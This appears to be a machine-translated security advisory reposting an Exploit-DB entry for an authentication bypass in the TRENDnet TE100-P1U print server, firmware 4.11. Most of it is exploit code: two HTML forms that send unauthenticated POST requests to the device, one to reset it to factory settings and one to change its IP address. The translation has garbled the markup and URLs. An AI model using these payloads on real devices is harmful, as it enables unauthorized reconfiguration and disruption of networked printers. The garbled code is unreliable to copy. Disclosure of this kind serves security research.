TRENDnet TE100-P1U Print Server 4.11 Authentication Bypass Vulnerability

Release date:
Updated on: 2013-06-25

Affected Systems:
Trendnet TE100-P1U 4.11
Description:
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Bugtraq id: 60727
 
The TRENDnet TE100-P1U is a print server that converts any stand-alone USB network printer to a shared network printer.
 
TRENDnet TE100-P1U firmware version 4.11 and other versions have multiple authentication bypass vulnerabilities that allow attackers to bypass authentication mechanisms and perform unauthorized operations.
 
<* Source: Chako

Link: http://www.exploit-db.com/exploits/26401/
*>

Test method:
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Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!
######################################## #####################
#
# Exploit Title: TRENDnet TE100-P1U Print Server Firmware 4.11 Authentication Bypass Vulnerability
# Date: 2013/6/20
# Exploit Author: Chako
# Firmware Version: 4.11
# Tested on: Windows 7
######################################## #####################

Description:
==================================
A remote authentication bypass vulnerability affects TRENDnet TE100-P1U Print Server.
This issue is due to a failure of the application to validate authentication
Credentials when processing print server configuration change requests.
An attacker cocould reset print server to factory sttings or changeing its IP address
Password security check.

Exploit:
==================================

1) Reset Print Server To Factory Settings

<Form action = "http: // IP/Reply.htm" method = "POST">
<Table border = "0" cellpadding = "3" cellspacing = "0" width = "100%">
<Tbody> <tr> <td class = "headerbg"> Factory Reset </td> </tr>
</Tbody> </table>
<Table bgcolor = "# FFFFFF" border = "0" cellpadding = "5" cellspacing = "1" width = "100%">
<Tbody> <tr> <td height = "50" bgcolor = "# F0F0F0"> <span class = "bluetextbold"> Do you want to restore Print Server to factory default setting? </Span> </td> </tr>
</Tbody> </table> <br>
<Input name = "Factory" value = "Yes" type = "submit" width = "60">
</Form>

 

1) Change Print Server IP Address

<Form action = "http: // IP/Network.htm" method = "POST">
<Table border = "0" cellpadding = "3" cellspacing = "0" width = "100%">
<Tbody> <tr> <td class = "headerbg"> Change IP Address </td> </tr>
</Tbody> </table>
<Table bgcolor = "# FFFFFF" border = "0" cellpadding = "5" cellspacing = "1" width = "100%">
<Tbody> <tr>
<Td class = "bluetextbold" align = "right" bgcolor = "# C5CEDA" valign = "top" width = "150"> IP Address: </td>
<Td bgcolor = "# F0F0F0" valign = "top">
<Table border = "0">
<Tbody> <tr> <td>
<Input name = "IP_ASSIGN" value = "1" type = "radio"> Manually Assign
<Table border = "0" cellpadding = "3" cellspacing = "0">
<Tbody> <tr>
<Td width = "20"> </td> <td> IP Address </td>
<Td>: <input size = "18" name = "IP_Address" value = "192.168.1.110" type = "text"> </td>
</Tr>
<Tr>
<Td> </td> <td> Subnet Mask </td>
<Td>: <input size = "18" name = "Subnet_Mask" value = "255.255.255.0" type = "text"> </td>
</Tr>
<Tr>
<Td> </td> <td> Default Gateway </td>
<Td>: <input size = "18" name = "Default_Gateway" value = "192.168.1.254" type = "text"> </td>
</Tr>
</Tbody> </table>
</Td> </tr>

</Tbody> </table>
</Td>
</Tr>
</Tbody> </table>
<Table border = "0" cellpadding = "5" cellspacing = "1" width = "100%">
<Tbody> <tr>
<Td height = "50" width = "149"> </td>
<Td width = "355"> <input name = "Config2" value = "Save" type = "submit" width = "80"> <input value = "Cancel" type = "reset" width = "80"> </td>
</Tr>
</Tbody> </table>
</Form>

Suggestion:
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Vendor patch:
 
Trendnet
--------
Currently, the vendor does not provide patches or upgrade programs. We recommend that users who use the software follow the vendor's homepage to obtain the latest version:
 
Http://www.trendnet.com/products/proddetail.asp? Prod = 130_TE100-P1U